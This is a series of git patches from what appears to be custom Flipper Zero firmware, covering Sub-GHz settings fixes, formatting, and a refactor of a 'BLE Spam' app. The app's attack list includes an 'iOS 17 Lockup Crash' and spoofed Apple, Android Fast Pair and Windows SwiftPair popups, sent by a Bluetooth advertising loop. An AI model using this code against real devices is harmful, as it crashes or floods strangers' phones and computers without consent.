From 2d9090b2de238a0aff394cfeddac9a3a2bb09476 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Tue, 17 Oct 2023 22:15:42 +0300 Subject: [PATCH 01/41] fix niceflors --- applications/main/subghz/scenes/subghz_scene_receiver_config.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/applications/main/subghz/scenes/subghz_scene_receiver_config.c b/applications/main/subghz/scenes/subghz_scene_receiver_config.c index 579218bd3..09c3976cc 100644 --- a/applications/main/subghz/scenes/subghz_scene_receiver_config.c +++ b/applications/main/subghz/scenes/subghz_scene_receiver_config.c @@ -12,6 +12,7 @@ enum SubGhzSettingIndex { SubGhzSettingIndexIgnoreCars, SubGhzSettingIndexIgnoreMagellan, SubGhzSettingIndexIgnorePrinceton, + SubGhzSettingIndexIgnoreNiceFlorS, SubGhzSettingIndexSound, SubGhzSettingIndexResetToDefault, SubGhzSettingIndexLock, @@ -451,7 +452,7 @@ void subghz_scene_receiver_config_on_enter(void* context) { item = variable_item_list_add( subghz->variable_item_list, - "Ignore NiceFlorS / Nice One", + "Ignore Nice Flor-S / Nice One", COMBO_BOX_COUNT, subghz_scene_receiver_config_set_niceflors, subghz); From b93a06354f22dbdd604ed911fdcc27eeeffa393e Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Tue, 17 Oct 2023 23:41:23 +0300 Subject: [PATCH 02/41] upd changelog --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 597fcd514..fc228c8da 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,6 +1,7 @@ ## New changes * SubGHz: Add 4 more systems to Add Manually (untested!) * SubGHz: Add Manually fixes +* SubGHz: Added NiceFlor-S to ignore options, removed colons. (by @G2Dolphin | PR #620) * Misc code cleanup * RGB: Fix white color on reboot, move settings, add custom color option * **BLE Spam app** updated to latest version (Android, Windows support) (by @Willy-JL) -> (app can be found in builds ` `, `e`, `n`, `r`) From 7679981dbe41bda9ae5a4e57ddcb34e53fa9c1df Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Wed, 18 Oct 2023 01:45:04 +0100 Subject: [PATCH 03/41] Fix subghz read config indexes --- .../main/subghz/scenes/subghz_scene_receiver_config.c | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/applications/main/subghz/scenes/subghz_scene_receiver_config.c b/applications/main/subghz/scenes/subghz_scene_receiver_config.c index 4b88ffe5f..0a8be5083 100644 --- a/applications/main/subghz/scenes/subghz_scene_receiver_config.c +++ b/applications/main/subghz/scenes/subghz_scene_receiver_config.c @@ -5,19 +5,21 @@ enum SubGhzSettingIndex { SubGhzSettingIndexFrequency, - SubGhzSettingIndexHopping, SubGhzSettingIndexModulation, + SubGhzSettingIndexHopping, + SubGhzSettingIndexRAWSound = SubGhzSettingIndexHopping, SubGhzSettingIndexBinRAW, + SubGhzSettingIndexRAWRSSIThreshold = SubGhzSettingIndexBinRAW, SubGhzSettingIndexIgnoreStarline, SubGhzSettingIndexIgnoreCars, SubGhzSettingIndexIgnoreMagellan, + SubGhzSettingIndexIgnorePrinceton, + SubGhzSettingIndexIgnoreNiceFlorS, SubGhzSettingIndexIgnoreWeather, SubGhzSettingIndexIgnoreTPMS, - SubGhzSettingIndexIgnorePrinceton, SubGhzSettingIndexSound, SubGhzSettingIndexResetToDefault, SubGhzSettingIndexLock, - SubGhzSettingIndexRAWThresholdRSSI, }; #define RAW_THRESHOLD_RSSI_COUNT 11 From 9982d54030ebd2f46974059461c8aa1919c6501c Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Wed, 18 Oct 2023 01:46:16 +0100 Subject: [PATCH 04/41] Add xtreme cta android popup --nobuild --- applications/external/ble_spam/protocols/fastpair.c | 1 + 1 file changed, 1 insertion(+) diff --git a/applications/external/ble_spam/protocols/fastpair.c b/applications/external/ble_spam/protocols/fastpair.c index 38759a623..8d03a6719 100644 --- a/applications/external/ble_spam/protocols/fastpair.c +++ b/applications/external/ble_spam/protocols/fastpair.c @@ -35,6 +35,7 @@ void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProtoc 0xF38C02, // Boykisser 0x1448C9, // BLM 0xD5AB33, // Xtreme + 0x0C0B67, // Xtreme Cta 0x13B39D, // Talking Sasquach 0xAA1FE1, // ClownMaster }; From 9abe7cf3d27c88c4a4c425b21533c9284ded8c83 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Wed, 18 Oct 2023 01:51:24 +0100 Subject: [PATCH 05/41] Format --nobuild --- lib/subghz/protocols/acurite_592txr.c | 4 ++-- lib/subghz/protocols/acurite_606tx.c | 4 ++-- lib/subghz/protocols/acurite_609txc.c | 4 ++-- lib/subghz/protocols/ambient_weather.c | 4 ++-- lib/subghz/protocols/auriol_ahfl.c | 4 ++-- lib/subghz/protocols/auriol_hg0601a.c | 4 ++-- lib/subghz/protocols/gt_wt_02.c | 4 ++-- lib/subghz/protocols/gt_wt_03.c | 4 ++-- lib/subghz/protocols/infactory.c | 4 ++-- lib/subghz/protocols/lacrosse_tx141thbv2.c | 4 ++-- lib/subghz/protocols/nexus_th.c | 4 ++-- lib/subghz/protocols/oregon_v1.c | 4 ++-- lib/subghz/protocols/thermopro_tx4.c | 4 ++-- lib/subghz/protocols/tx_8300.c | 4 ++-- lib/subghz/protocols/wendox_w6726.c | 4 ++-- 15 files changed, 30 insertions(+), 30 deletions(-) diff --git a/lib/subghz/protocols/acurite_592txr.c b/lib/subghz/protocols/acurite_592txr.c index c99b0140a..8bca10442 100644 --- a/lib/subghz/protocols/acurite_592txr.c +++ b/lib/subghz/protocols/acurite_592txr.c @@ -86,8 +86,8 @@ const SubGhzProtocol ws_protocol_acurite_592txr = { .name = WS_PROTOCOL_ACURITE_592TXR_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send, .decoder = &ws_protocol_acurite_592txr_decoder, .encoder = &ws_protocol_acurite_592txr_encoder, diff --git a/lib/subghz/protocols/acurite_606tx.c b/lib/subghz/protocols/acurite_606tx.c index 1f0e7284e..7e56cebd2 100644 --- a/lib/subghz/protocols/acurite_606tx.c +++ b/lib/subghz/protocols/acurite_606tx.c @@ -69,8 +69,8 @@ const SubGhzProtocol ws_protocol_acurite_606tx = { .name = WS_PROTOCOL_ACURITE_606TX_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_Save, .decoder = &ws_protocol_acurite_606tx_decoder, .encoder = &ws_protocol_acurite_606tx_encoder, diff --git a/lib/subghz/protocols/acurite_609txc.c b/lib/subghz/protocols/acurite_609txc.c index 3f7c2bb73..097c6043c 100644 --- a/lib/subghz/protocols/acurite_609txc.c +++ b/lib/subghz/protocols/acurite_609txc.c @@ -70,8 +70,8 @@ const SubGhzProtocol ws_protocol_acurite_609txc = { .name = WS_PROTOCOL_ACURITE_609TXC_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_Save, .decoder = &ws_protocol_acurite_609txc_decoder, .encoder = &ws_protocol_acurite_609txc_encoder, diff --git a/lib/subghz/protocols/ambient_weather.c b/lib/subghz/protocols/ambient_weather.c index ea2ae819d..9d3f63df9 100644 --- a/lib/subghz/protocols/ambient_weather.c +++ b/lib/subghz/protocols/ambient_weather.c @@ -84,8 +84,8 @@ const SubGhzProtocol ws_protocol_ambient_weather = { .name = WS_PROTOCOL_AMBIENT_WEATHER_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_Save, .decoder = &ws_protocol_ambient_weather_decoder, .encoder = &ws_protocol_ambient_weather_encoder, diff --git a/lib/subghz/protocols/auriol_ahfl.c b/lib/subghz/protocols/auriol_ahfl.c index 9ae5fe672..c43a44af1 100644 --- a/lib/subghz/protocols/auriol_ahfl.c +++ b/lib/subghz/protocols/auriol_ahfl.c @@ -81,8 +81,8 @@ const SubGhzProtocol ws_protocol_auriol_ahfl = { .name = WS_PROTOCOL_AURIOL_AHFL_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_Save, .decoder = &ws_protocol_auriol_ahfl_decoder, .encoder = &ws_protocol_auriol_ahfl_encoder, diff --git a/lib/subghz/protocols/auriol_hg0601a.c b/lib/subghz/protocols/auriol_hg0601a.c index 3d564f80f..1c9d9c032 100644 --- a/lib/subghz/protocols/auriol_hg0601a.c +++ b/lib/subghz/protocols/auriol_hg0601a.c @@ -80,8 +80,8 @@ const SubGhzProtocol ws_protocol_auriol_th = { .name = WS_PROTOCOL_AURIOL_TH_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_Save, .decoder = &ws_protocol_auriol_th_decoder, .encoder = &ws_protocol_auriol_th_encoder, diff --git a/lib/subghz/protocols/gt_wt_02.c b/lib/subghz/protocols/gt_wt_02.c index dc783285c..213516679 100644 --- a/lib/subghz/protocols/gt_wt_02.c +++ b/lib/subghz/protocols/gt_wt_02.c @@ -83,8 +83,8 @@ const SubGhzProtocol ws_protocol_gt_wt_02 = { .name = WS_PROTOCOL_GT_WT_02_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_Save, .decoder = &ws_protocol_gt_wt_02_decoder, .encoder = &ws_protocol_gt_wt_02_encoder, diff --git a/lib/subghz/protocols/gt_wt_03.c b/lib/subghz/protocols/gt_wt_03.c index 482d33bd6..cb0c94af3 100644 --- a/lib/subghz/protocols/gt_wt_03.c +++ b/lib/subghz/protocols/gt_wt_03.c @@ -109,8 +109,8 @@ const SubGhzProtocol ws_protocol_gt_wt_03 = { .name = WS_PROTOCOL_GT_WT_03_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_Save, .decoder = &ws_protocol_gt_wt_03_decoder, .encoder = &ws_protocol_gt_wt_03_encoder, diff --git a/lib/subghz/protocols/infactory.c b/lib/subghz/protocols/infactory.c index f4c355ff9..f1ee3432b 100644 --- a/lib/subghz/protocols/infactory.c +++ b/lib/subghz/protocols/infactory.c @@ -94,8 +94,8 @@ const SubGhzProtocol ws_protocol_infactory = { .name = WS_PROTOCOL_INFACTORY_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_Save, .decoder = &ws_protocol_infactory_decoder, .encoder = &ws_protocol_infactory_encoder, diff --git a/lib/subghz/protocols/lacrosse_tx141thbv2.c b/lib/subghz/protocols/lacrosse_tx141thbv2.c index 4f4a112c1..8825d922a 100644 --- a/lib/subghz/protocols/lacrosse_tx141thbv2.c +++ b/lib/subghz/protocols/lacrosse_tx141thbv2.c @@ -76,8 +76,8 @@ const SubGhzProtocol ws_protocol_lacrosse_tx141thbv2 = { .name = WS_PROTOCOL_LACROSSE_TX141THBV2_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_Save, .decoder = &ws_protocol_lacrosse_tx141thbv2_decoder, .encoder = &ws_protocol_lacrosse_tx141thbv2_encoder, diff --git a/lib/subghz/protocols/nexus_th.c b/lib/subghz/protocols/nexus_th.c index 76925a009..9307194bb 100644 --- a/lib/subghz/protocols/nexus_th.c +++ b/lib/subghz/protocols/nexus_th.c @@ -356,8 +356,8 @@ const SubGhzProtocol ws_protocol_nexus_th = { .name = WS_PROTOCOL_NEXUS_TH_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send, .decoder = &ws_protocol_nexus_th_decoder, .encoder = &ws_protocol_nexus_th_encoder, diff --git a/lib/subghz/protocols/oregon_v1.c b/lib/subghz/protocols/oregon_v1.c index b8ca85106..5967e9625 100644 --- a/lib/subghz/protocols/oregon_v1.c +++ b/lib/subghz/protocols/oregon_v1.c @@ -95,8 +95,8 @@ const SubGhzProtocol ws_protocol_oregon_v1 = { .name = WS_PROTOCOL_OREGON_V1_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_Save, .decoder = &ws_protocol_oregon_v1_decoder, .encoder = &ws_protocol_oregon_v1_encoder, diff --git a/lib/subghz/protocols/thermopro_tx4.c b/lib/subghz/protocols/thermopro_tx4.c index 56b19372e..9adaacac1 100644 --- a/lib/subghz/protocols/thermopro_tx4.c +++ b/lib/subghz/protocols/thermopro_tx4.c @@ -79,8 +79,8 @@ const SubGhzProtocol ws_protocol_thermopro_tx4 = { .name = WS_PROTOCOL_THERMOPRO_TX4_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_Save, .decoder = &ws_protocol_thermopro_tx4_decoder, .encoder = &ws_protocol_thermopro_tx4_encoder, diff --git a/lib/subghz/protocols/tx_8300.c b/lib/subghz/protocols/tx_8300.c index 2ef1b60c8..b0686a774 100644 --- a/lib/subghz/protocols/tx_8300.c +++ b/lib/subghz/protocols/tx_8300.c @@ -90,8 +90,8 @@ const SubGhzProtocol ws_protocol_tx_8300 = { .name = WS_PROTOCOL_TX_8300_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_Save, .decoder = &ws_protocol_tx_8300_decoder, .encoder = &ws_protocol_tx_8300_encoder, diff --git a/lib/subghz/protocols/wendox_w6726.c b/lib/subghz/protocols/wendox_w6726.c index a0d20c9a0..a5ef0a026 100644 --- a/lib/subghz/protocols/wendox_w6726.c +++ b/lib/subghz/protocols/wendox_w6726.c @@ -84,8 +84,8 @@ const SubGhzProtocol ws_protocol_wendox_w6726 = { .name = WS_PROTOCOL_WENDOX_W6726_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_Save, .decoder = &ws_protocol_wendox_w6726_decoder, .encoder = &ws_protocol_wendox_w6726_encoder, From dfc2309a3a6d9024c899cf2fd82c709dfa35ba3e Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Wed, 18 Oct 2023 05:13:43 +0100 Subject: [PATCH 06/41] BLE Spam refactor namespace and use viewdispatcher --- applications/external/ble_spam/ble_spam.c | 126 ++++++++++-------- .../external/ble_spam/protocols/_base.h | 8 +- .../external/ble_spam/protocols/_registry.c | 10 +- .../external/ble_spam/protocols/_registry.h | 10 +- .../external/ble_spam/protocols/continuity.c | 6 +- .../external/ble_spam/protocols/continuity.h | 2 +- .../external/ble_spam/protocols/fastpair.c | 6 +- .../external/ble_spam/protocols/fastpair.h | 2 +- .../external/ble_spam/protocols/swiftpair.c | 6 +- .../external/ble_spam/protocols/swiftpair.h | 2 +- 10 files changed, 99 insertions(+), 79 deletions(-) diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index 931bd9505..dc05a748a 100644 --- a/applications/external/ble_spam/ble_spam.c +++ b/applications/external/ble_spam/ble_spam.c @@ -1,6 +1,7 @@ #include #include #include +#include #include "protocols/_registry.h" @@ -14,8 +15,8 @@ typedef struct { const char* title; const char* text; - const BleSpamProtocol* protocol; - BleSpamPayload payload; + const Protocol* protocol; + Payload payload; } Attack; static Attack attacks[] = { @@ -32,7 +33,7 @@ static Attack attacks[] = { { .title = "iOS 17 Lockup Crash", .text = "Newer iPhones, long range", - .protocol = &ble_spam_protocol_continuity, + .protocol = &protocol_continuity, .payload = { .random_mac = false, @@ -49,7 +50,7 @@ static Attack attacks[] = { { .title = "Apple Action Modal", .text = "Lock cooldown, long range", - .protocol = &ble_spam_protocol_continuity, + .protocol = &protocol_continuity, .payload = { .random_mac = false, @@ -66,7 +67,7 @@ static Attack attacks[] = { { .title = "Apple Device Popup", .text = "No cooldown, close range", - .protocol = &ble_spam_protocol_continuity, + .protocol = &protocol_continuity, .payload = { .random_mac = false, @@ -83,7 +84,7 @@ static Attack attacks[] = { { .title = "Android Device Pair", .text = "Reboot cooldown, long range", - .protocol = &ble_spam_protocol_fastpair, + .protocol = &protocol_fastpair, .payload = { .random_mac = true, @@ -96,7 +97,7 @@ static Attack attacks[] = { { .title = "Windows Device Found", .text = "Requires enabling SwiftPair", - .protocol = &ble_spam_protocol_swiftpair, + .protocol = &protocol_swiftpair, .payload = { .random_mac = true, @@ -108,7 +109,7 @@ static Attack attacks[] = { }, }; -#define ATTACK_COUNT ((signed)COUNT_OF(attacks)) +#define ATTACKS_COUNT ((signed)COUNT_OF(attacks)) uint16_t delays[] = {20, 50, 100, 200}; @@ -126,16 +127,15 @@ static int32_t adv_thread(void* ctx) { uint16_t delay; uint8_t* packet; uint8_t mac[GAP_MAC_ADDR_SIZE]; - BleSpamPayload* payload = &attacks[state->index].payload; - const BleSpamProtocol* protocol = attacks[state->index].protocol; + Payload* payload = &attacks[state->index].payload; + const Protocol* protocol = attacks[state->index].protocol; if(!payload->random_mac) furi_hal_random_fill_buf(mac, sizeof(mac)); while(state->advertising) { if(protocol) { protocol->make_packet(&size, &packet, &payload->cfg); } else { - ble_spam_protocols[rand() % ble_spam_protocols_count]->make_packet( - &size, &packet, NULL); + protocols[rand() % protocols_count]->make_packet(&size, &packet, NULL); } furi_hal_bt_custom_adv_set(packet, size); free(packet); @@ -164,19 +164,23 @@ static void toggle_adv(State* state) { } } +enum { + ViewMain, +}; + #define PAGE_MIN (-3) -#define PAGE_MAX ATTACK_COUNT +#define PAGE_MAX ATTACKS_COUNT enum { PageHelpApps = PAGE_MIN, PageHelpDelay, PageHelpDistance, PageStart = 0, - PageEnd = ATTACK_COUNT - 1, + PageEnd = ATTACKS_COUNT - 1, PageAboutCredits = PAGE_MAX, }; static void draw_callback(Canvas* canvas, void* ctx) { - State* state = ctx; + State* state = *(State**)ctx; const char* back = "Back"; const char* next = "Next"; switch(state->index) { @@ -195,9 +199,9 @@ static void draw_callback(Canvas* canvas, void* ctx) { } const Attack* attack = - (state->index >= 0 && state->index <= ATTACK_COUNT - 1) ? &attacks[state->index] : NULL; - const BleSpamPayload* payload = attack ? &attack->payload : NULL; - const BleSpamProtocol* protocol = attack ? attack->protocol : NULL; + (state->index >= 0 && state->index <= ATTACKS_COUNT - 1) ? &attacks[state->index] : NULL; + const Payload* payload = attack ? &attack->payload : NULL; + const Protocol* protocol = attack ? attack->protocol : NULL; canvas_set_font(canvas, FontSecondary); canvas_draw_icon(canvas, 4, 3, protocol ? protocol->icon : &I_ble); @@ -285,7 +289,7 @@ static void draw_callback(Canvas* canvas, void* ctx) { sizeof(str), "%02i/%02i: %s", state->index + 1, - ATTACK_COUNT, + ATTACKS_COUNT, protocol ? protocol->get_name(&payload->cfg) : "Everything"); canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 21, str); @@ -308,37 +312,19 @@ static void draw_callback(Canvas* canvas, void* ctx) { } } -static void input_callback(InputEvent* input, void* ctx) { - FuriMessageQueue* input_queue = ctx; +static bool input_callback(InputEvent* input, void* ctx) { + View* view = ctx; + State* state = *(State**)view_get_model(view); + bool consumed = false; + if(input->type == InputTypeShort || input->type == InputTypeLong || input->type == InputTypeRepeat) { - furi_message_queue_put(input_queue, input, 0); - } -} + consumed = true; -int32_t ble_spam(void* p) { - UNUSED(p); - State* state = malloc(sizeof(State)); - state->thread = furi_thread_alloc(); - furi_thread_set_callback(state->thread, adv_thread); - furi_thread_set_context(state->thread, state); - furi_thread_set_stack_size(state->thread, 4096); - - FuriMessageQueue* input_queue = furi_message_queue_alloc(8, sizeof(InputEvent)); - ViewPort* view_port = view_port_alloc(); - Gui* gui = furi_record_open(RECORD_GUI); - view_port_input_callback_set(view_port, input_callback, input_queue); - view_port_draw_callback_set(view_port, draw_callback, state); - gui_add_view_port(gui, view_port, GuiLayerFullscreen); - - bool running = true; - while(running) { - InputEvent input; - furi_check(furi_message_queue_get(input_queue, &input, FuriWaitForever) == FuriStatusOk); - - bool is_attack = state->index >= 0 && state->index <= ATTACK_COUNT - 1; + bool is_attack = state->index >= 0 && state->index <= ATTACKS_COUNT - 1; bool advertising = state->advertising; - switch(input.key) { + + switch(input->key) { case InputKeyOk: if(is_attack) toggle_adv(state); break; @@ -366,19 +352,53 @@ int32_t ble_spam(void* p) { break; case InputKeyBack: if(advertising) toggle_adv(state); - running = false; + consumed = false; break; default: - continue; + break; } - - view_port_update(view_port); } - gui_remove_view_port(gui, view_port); + view_commit_model(view, consumed); + return consumed; +} + +static uint32_t exit_callback(void* ctx) { + UNUSED(ctx); + return VIEW_NONE; +} + +int32_t ble_spam(void* p) { + UNUSED(p); + State* state = malloc(sizeof(State)); + state->thread = furi_thread_alloc(); + furi_thread_set_callback(state->thread, adv_thread); + furi_thread_set_context(state->thread, state); + furi_thread_set_stack_size(state->thread, 4096); + + Gui* gui = furi_record_open(RECORD_GUI); + ViewDispatcher* view_dispatcher = view_dispatcher_alloc(); + view_dispatcher_enable_queue(view_dispatcher); + view_dispatcher_set_event_callback_context(view_dispatcher, state); + + View* view = view_alloc(); + view_allocate_model(view, ViewModelTypeLockFree, sizeof(State*)); + with_view_model( + view, State * *model, { *model = state; }, false); + view_set_context(view, view); + view_set_draw_callback(view, draw_callback); + view_set_input_callback(view, input_callback); + view_set_previous_callback(view, exit_callback); + view_dispatcher_add_view(view_dispatcher, ViewMain, view); + + view_dispatcher_attach_to_gui(view_dispatcher, gui, ViewDispatcherTypeFullscreen); + view_dispatcher_switch_to_view(view_dispatcher, ViewMain); + view_dispatcher_run(view_dispatcher); + + view_dispatcher_remove_view(view_dispatcher, ViewMain); + view_free(view); + view_dispatcher_free(view_dispatcher); furi_record_close(RECORD_GUI); - view_port_free(view_port); - furi_message_queue_free(input_queue); furi_thread_free(state->thread); free(state); diff --git a/applications/external/ble_spam/protocols/_base.h b/applications/external/ble_spam/protocols/_base.h index 280111515..cba727645 100644 --- a/applications/external/ble_spam/protocols/_base.h +++ b/applications/external/ble_spam/protocols/_base.h @@ -9,10 +9,10 @@ #include #include -typedef union BleSpamProtocolCfg BleSpamProtocolCfg; +typedef union ProtocolCfg ProtocolCfg; typedef struct { const Icon* icon; - const char* (*get_name)(const BleSpamProtocolCfg* _cfg); - void (*make_packet)(uint8_t* _size, uint8_t** _packet, const BleSpamProtocolCfg* _cfg); -} BleSpamProtocol; + const char* (*get_name)(const ProtocolCfg* _cfg); + void (*make_packet)(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg); +} Protocol; diff --git a/applications/external/ble_spam/protocols/_registry.c b/applications/external/ble_spam/protocols/_registry.c index 3d334fa14..502c877b8 100644 --- a/applications/external/ble_spam/protocols/_registry.c +++ b/applications/external/ble_spam/protocols/_registry.c @@ -1,9 +1,9 @@ #include "_registry.h" -const BleSpamProtocol* ble_spam_protocols[] = { - &ble_spam_protocol_continuity, - &ble_spam_protocol_fastpair, - &ble_spam_protocol_swiftpair, +const Protocol* protocols[] = { + &protocol_continuity, + &protocol_fastpair, + &protocol_swiftpair, }; -const size_t ble_spam_protocols_count = COUNT_OF(ble_spam_protocols); +const size_t protocols_count = COUNT_OF(protocols); diff --git a/applications/external/ble_spam/protocols/_registry.h b/applications/external/ble_spam/protocols/_registry.h index cca571a5b..6b0b68dd3 100644 --- a/applications/external/ble_spam/protocols/_registry.h +++ b/applications/external/ble_spam/protocols/_registry.h @@ -4,17 +4,17 @@ #include "fastpair.h" #include "swiftpair.h" -union BleSpamProtocolCfg { +union ProtocolCfg { ContinuityCfg continuity; FastpairCfg fastpair; SwiftpairCfg swiftpair; }; -extern const BleSpamProtocol* ble_spam_protocols[]; +extern const Protocol* protocols[]; -extern const size_t ble_spam_protocols_count; +extern const size_t protocols_count; typedef struct { bool random_mac; - BleSpamProtocolCfg cfg; -} BleSpamPayload; + ProtocolCfg cfg; +} Payload; diff --git a/applications/external/ble_spam/protocols/continuity.c b/applications/external/ble_spam/protocols/continuity.c index b52f45a5f..08a8c0ef7 100644 --- a/applications/external/ble_spam/protocols/continuity.c +++ b/applications/external/ble_spam/protocols/continuity.c @@ -16,7 +16,7 @@ static const char* type_names[ContinuityTypeCount] = { [ContinuityTypeNearbyInfo] = "Nearby Info", [ContinuityTypeCustomCrash] = "Custom Packet", }; -const char* continuity_get_name(const BleSpamProtocolCfg* _cfg) { +const char* continuity_get_name(const ProtocolCfg* _cfg) { const ContinuityCfg* cfg = &_cfg->continuity; return type_names[cfg->type]; } @@ -33,7 +33,7 @@ static uint8_t packet_sizes[ContinuityTypeCount] = { [ContinuityTypeCustomCrash] = HEADER_LEN + 11, }; -void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProtocolCfg* _cfg) { +void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) { const 